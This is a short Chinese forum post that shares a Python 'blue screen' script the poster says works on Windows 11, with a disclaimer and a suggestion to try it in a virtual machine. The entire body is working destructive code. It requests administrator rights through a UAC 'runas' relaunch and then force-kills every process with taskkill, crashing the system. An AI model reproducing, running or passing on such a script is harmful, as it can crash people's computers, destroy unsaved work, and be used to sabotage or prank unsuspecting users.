用户:
cym919查看:0 回复:2 评论:0 创建时间:2023-08-02T12:00:09
教大家一个
蓝屏
代码(
Py
thon)
Win11 测试有效
(不要轻易尝试,如果真的想试试,推荐使用虚拟机)
特别说明:此代码仅供参考,不作任何非法用途。由此代码产生的任何后果,本人不负任何法律责任。
from __future__ import print_function
import ctypes, sys
import os
def guan_li_yuan_quan_xian():
try:
print("尝试获取管喵权限...")
return ctypes.windll.shell32.IsUserAnAdmin()
except:
print(" 失败!")
return False
if guan_li_yuan_quan_xian():
print(" 成功!即将蓝屏")
os.system("taskkill /fi \"pid ge 1\" /f")
input()
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
print("再次尝试获取管喵权限...")
else:
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
参考文献:
zhuanlan.zhihu.com/p/46580836